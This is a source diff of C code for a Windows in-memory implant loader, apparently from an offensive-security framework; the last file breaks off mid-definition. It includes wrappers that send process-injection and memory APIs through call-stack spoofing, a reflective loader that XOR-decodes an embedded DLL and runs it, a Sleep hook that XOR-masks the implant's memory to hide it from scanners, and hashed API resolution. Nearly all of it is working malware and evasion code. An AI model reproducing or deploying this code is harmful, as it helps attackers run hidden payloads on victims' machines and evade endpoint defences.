||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread );
|
||||
call.argc = 7;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 2 ] = spoof_arg ( dwStackSize );
|
||||
call.args [ 3 ] = spoof_arg ( lpStartAddress );
|
||||
call.args [ 4 ] = spoof_arg ( lpParameter );
|
||||
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 6 ] = spoof_arg ( lpThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _CreateThread ( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$CreateThread );
|
||||
call.argc = 6;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpThreadAttributes );
|
||||
call.args [ 1 ] = spoof_arg ( dwStackSize );
|
||||
call.args [ 2 ] = spoof_arg ( lpStartAddress );
|
||||
call.args [ 3 ] = spoof_arg ( lpParameter );
|
||||
call.args [ 4 ] = spoof_arg ( dwCreationFlags );
|
||||
call.args [ 5 ] = spoof_arg ( lpThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HRESULT WINAPI _CoCreateInstance ( REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID * ppv )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( OLE32$CoCreateInstance );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( rclsid );
|
||||
call.args [ 1 ] = spoof_arg ( pUnkOuter );
|
||||
call.args [ 2 ] = spoof_arg ( dwClsContext );
|
||||
call.args [ 3 ] = spoof_arg ( riid );
|
||||
call.args [ 4 ] = spoof_arg ( ppv );
|
||||
|
||||
return ( HRESULT ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _DuplicateHandle ( HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$DuplicateHandle );
|
||||
call.argc = 7;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hSourceProcessHandle );
|
||||
call.args [ 1 ] = spoof_arg ( hSourceHandle );
|
||||
call.args [ 2 ] = spoof_arg ( hTargetProcessHandle );
|
||||
call.args [ 3 ] = spoof_arg ( lpTargetHandle );
|
||||
call.args [ 4 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 5 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 6 ] = spoof_arg ( dwOptions );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HMODULE WINAPI _LoadLibraryA ( LPCSTR lpLibFileName )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( LoadLibraryA );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpLibFileName );
|
||||
|
||||
return ( HMODULE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _GetThreadContext ( HANDLE hThread, LPCONTEXT lpContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$GetThreadContext );
|
||||
call.argc = 2;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
call.args [ 1 ] = spoof_arg ( lpContext );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _MapViewOfFile ( HANDLE hFileMappingObject, DWORD dwDesiredAccess, DWORD dwFileOffsetHigh, DWORD dwFileOffsetLow, SIZE_T dwNumberOfBytesToMap )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$MapViewOfFile );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hFileMappingObject );
|
||||
call.args [ 1 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 2 ] = spoof_arg ( dwFileOffsetHigh );
|
||||
call.args [ 3 ] = spoof_arg ( dwFileOffsetLow );
|
||||
call.args [ 4 ] = spoof_arg ( dwNumberOfBytesToMap );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenProcess ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$OpenProcess );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 1 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 2 ] = spoof_arg ( dwProcessId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
HANDLE WINAPI _OpenThread ( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$OpenThread );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwDesiredAccess );
|
||||
call.args [ 1 ] = spoof_arg ( bInheritHandle );
|
||||
call.args [ 2 ] = spoof_arg ( dwThreadId );
|
||||
|
||||
return ( HANDLE ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _ReadProcessMemory ( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesRead )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ReadProcessMemory );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
|
||||
call.args [ 2 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 3 ] = spoof_arg ( nSize );
|
||||
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesRead );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
DWORD WINAPI _ResumeThread ( HANDLE hThread )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ResumeThread );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
|
||||
return ( DWORD ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext );
|
||||
call.argc = 2;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
call.args [ 1 ] = spoof_arg ( lpContext );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpBaseAddress );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 3 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 2 ] = spoof_arg ( dwSize );
|
||||
call.args [ 3 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 4 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( dwFreeType );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 2 ] = spoof_arg ( dwSize );
|
||||
call.args [ 3 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 4 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 2 ] = spoof_arg ( dwLength );
|
||||
|
||||
return ( SIZE_T ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
|
||||
call.args [ 2 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 3 ] = spoof_arg ( nSize );
|
||||
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
@@ -0,0 +1,146 @@
|
||||
#include <windows.h>
|
||||
#include "loader.h"
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
|
||||
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
|
||||
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
|
||||
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
|
||||
|
||||
int __tag_setup_hooks ( );
|
||||
int __tag_setup_memory ( );
|
||||
|
||||
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
|
||||
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
|
||||
|
||||
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region )
|
||||
{
|
||||
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * section_hdr = NULL;
|
||||
void * section_dst = NULL;
|
||||
DWORD section_size = 0;
|
||||
DWORD new_protect = 0;
|
||||
DWORD old_protect = 0;
|
||||
|
||||
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
for ( int i = 0; i < section_count; i++ )
|
||||
{
|
||||
section_dst = dst + section_hdr->VirtualAddress;
|
||||
section_size = section_hdr->SizeOfRawData;
|
||||
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
|
||||
new_protect = PAGE_WRITECOPY;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
|
||||
new_protect = PAGE_READONLY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_READWRITE;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
|
||||
new_protect = PAGE_EXECUTE;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
|
||||
new_protect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* set new permission */
|
||||
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
|
||||
|
||||
/* track memory */
|
||||
region->Sections[ i ].BaseAddress = section_dst;
|
||||
region->Sections[ i ].Size = section_size;
|
||||
region->Sections[ i ].CurrentProtect = new_protect;
|
||||
region->Sections[ i ].PreviousProtect = new_protect;
|
||||
|
||||
/* advance to section */
|
||||
section_hdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void go ( )
|
||||
{
|
||||
/* populate funcs */
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
|
||||
/* load the pico */
|
||||
char * pico_src = GETRESOURCE ( _PICO_ );
|
||||
|
||||
/* allocate memory for it */
|
||||
PICO * pico_dst = ( PICO * ) KERNEL32$VirtualAlloc ( NULL, sizeof ( PICO ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
/* load it into memory */
|
||||
PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data );
|
||||
|
||||
/* make code section RX */
|
||||
DWORD old_protect;
|
||||
KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
|
||||
|
||||
/* begin tracking memory allocations */
|
||||
MEMORY_LAYOUT memory = { 0 };
|
||||
|
||||
memory.Pico.BaseAddress = ( PVOID ) ( pico_dst );
|
||||
memory.Pico.Size = sizeof ( PICO );
|
||||
|
||||
memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data );
|
||||
memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src );
|
||||
memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code );
|
||||
memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src );
|
||||
memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ;
|
||||
memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
/* call setup_hooks to overwrite funcs.GetProcAddress */
|
||||
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs );
|
||||
|
||||
/* now load the dll (it's masked) */
|
||||
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
|
||||
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
|
||||
|
||||
/* load dll into memory and unmask it */
|
||||
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
for ( int i = 0; i < masked_dll->len; i++ ) {
|
||||
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
|
||||
}
|
||||
|
||||
DLLDATA dll_data;
|
||||
ParseDLL ( dll_src, &dll_data );
|
||||
|
||||
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
LoadDLL ( &dll_data, dll_src, dll_dst );
|
||||
|
||||
/* track dll's memory */
|
||||
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
|
||||
memory.Dll.Size = SizeOfDLL ( &dll_data );
|
||||
|
||||
ProcessImports ( &funcs, &dll_data, dll_dst );
|
||||
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
|
||||
|
||||
/* call setup_memory to give PICO the memory info */
|
||||
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory );
|
||||
|
||||
/* now run the DLL */
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
|
||||
|
||||
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
|
||||
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
#define GETRESOURCE(x) ( char * ) &x
|
||||
|
||||
typedef struct {
|
||||
char data [ 4096 ];
|
||||
char code [ 16384 ];
|
||||
} PICO;
|
||||
|
||||
typedef struct {
|
||||
int len;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
@@ -0,0 +1,72 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "spoof.h"
|
||||
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
|
||||
char xorkey [ 128 ] = { 1 };
|
||||
|
||||
void apply_mask ( char * data, DWORD len )
|
||||
{
|
||||
for ( DWORD i = 0; i < len; i++ )
|
||||
{
|
||||
data [ i ] ^= xorkey [ i % 128 ];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL is_writeable ( DWORD protection )
|
||||
{
|
||||
if ( protection == PAGE_EXECUTE_READWRITE ||
|
||||
protection == PAGE_EXECUTE_WRITECOPY ||
|
||||
protection == PAGE_READWRITE ||
|
||||
protection == PAGE_WRITECOPY )
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void xor_section ( MEMORY_SECTION * section, BOOL mask )
|
||||
{
|
||||
if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE )
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) )
|
||||
{
|
||||
section->CurrentProtect = PAGE_READWRITE;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
|
||||
if ( is_writeable ( section->CurrentProtect ) )
|
||||
{
|
||||
apply_mask ( section->BaseAddress, section->Size );
|
||||
}
|
||||
|
||||
if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect )
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) )
|
||||
{
|
||||
section->CurrentProtect = section->PreviousProtect;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void xor_region ( MEMORY_REGION * region, BOOL mask )
|
||||
{
|
||||
for ( int i = 0; i < 20; i++ )
|
||||
{
|
||||
xor_section ( ®ion->Sections [ i ], mask );
|
||||
}
|
||||
}
|
||||
|
||||
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask )
|
||||
{
|
||||
xor_region ( &memory->Dll, mask );
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask );
|
||||
@@ -0,0 +1,17 @@
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
DWORD CurrentProtect;
|
||||
DWORD PreviousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
MEMORY_SECTION Sections [ 20 ];
|
||||
} MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
MEMORY_REGION Pico;
|
||||
MEMORY_REGION Dll;
|
||||
} MEMORY_LAYOUT;
|
||||
@@ -0,0 +1,93 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "mask.h"
|
||||
#include "spoof.h"
|
||||
#include "cleanup.h"
|
||||
#include "tcg.h"
|
||||
|
||||
MEMORY_LAYOUT g_memory;
|
||||
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
|
||||
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
/* lpProcName may be an ordinal */
|
||||
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
|
||||
{
|
||||
/* just resolve normally */
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
|
||||
|
||||
/*
|
||||
* result may still be NULL if
|
||||
* it wasn't hooked in the spec
|
||||
*/
|
||||
if ( result != NULL ) {
|
||||
return result;
|
||||
}
|
||||
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
void setup_hooks ( IMPORTFUNCS * funcs )
|
||||
{
|
||||
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
|
||||
}
|
||||
|
||||
void setup_memory ( MEMORY_LAYOUT * layout )
|
||||
{
|
||||
if ( layout != NULL ) {
|
||||
g_memory = * layout;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* throw these hooks in here because
|
||||
* sharing a global across multiple
|
||||
* modules is still a bit of a headache
|
||||
*/
|
||||
|
||||
VOID WINAPI _Sleep ( DWORD dwMilliseconds )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$Sleep );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwMilliseconds );
|
||||
|
||||
/*
|
||||
* for performance reasons, only mask
|
||||
* memory if sleep time is equal to
|
||||
* or greater than 1 second
|
||||
*/
|
||||
|
||||
if ( dwMilliseconds >= 1000 ) {
|
||||
mask_memory ( &g_memory, TRUE );
|
||||
}
|
||||
|
||||
spoof_call ( &call );
|
||||
|
||||
if ( dwMilliseconds >= 1000 ) {
|
||||
mask_memory ( &g_memory, FALSE );
|
||||
}
|
||||
}
|
||||
|
||||
VOID WINAPI _ExitThread ( DWORD dwExitCode )
|
||||
{
|
||||
/* free memory */
|
||||
cleanup_memory ( &g_memory );
|
||||
|
||||
/* call the real exit thread */
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwExitCode );
|
||||
|
||||
spoof_call ( &call );
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#include <windows.h>
|
||||
|
||||
/* patch function pointers in */
|
||||
__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) );
|
||||
__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) );
|
||||
|
||||
/**
|
||||
* This function is used to locate functions in
|
||||
* modules that are loaded by default (K32 & NTDLL)
|
||||
*/
|
||||
FARPROC resolve ( char * mod_name, char * func_name )
|
||||
{
|
||||
HANDLE module = get_module_handle ( mod_name );
|
||||
return get_proc_address ( module, func_name );
|
||||
}
|
||||
@@ -0,0 +1,390 @@
|
||||
#include <windows.h>
|
||||
#include "spoof.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
|
||||
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
#define RBP_OP_INFO 0x5
|
||||
|
||||
typedef struct {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME;
|
||||
|
||||
typedef enum {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE;
|
||||
|
||||
typedef struct {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode [ 1 ];
|
||||
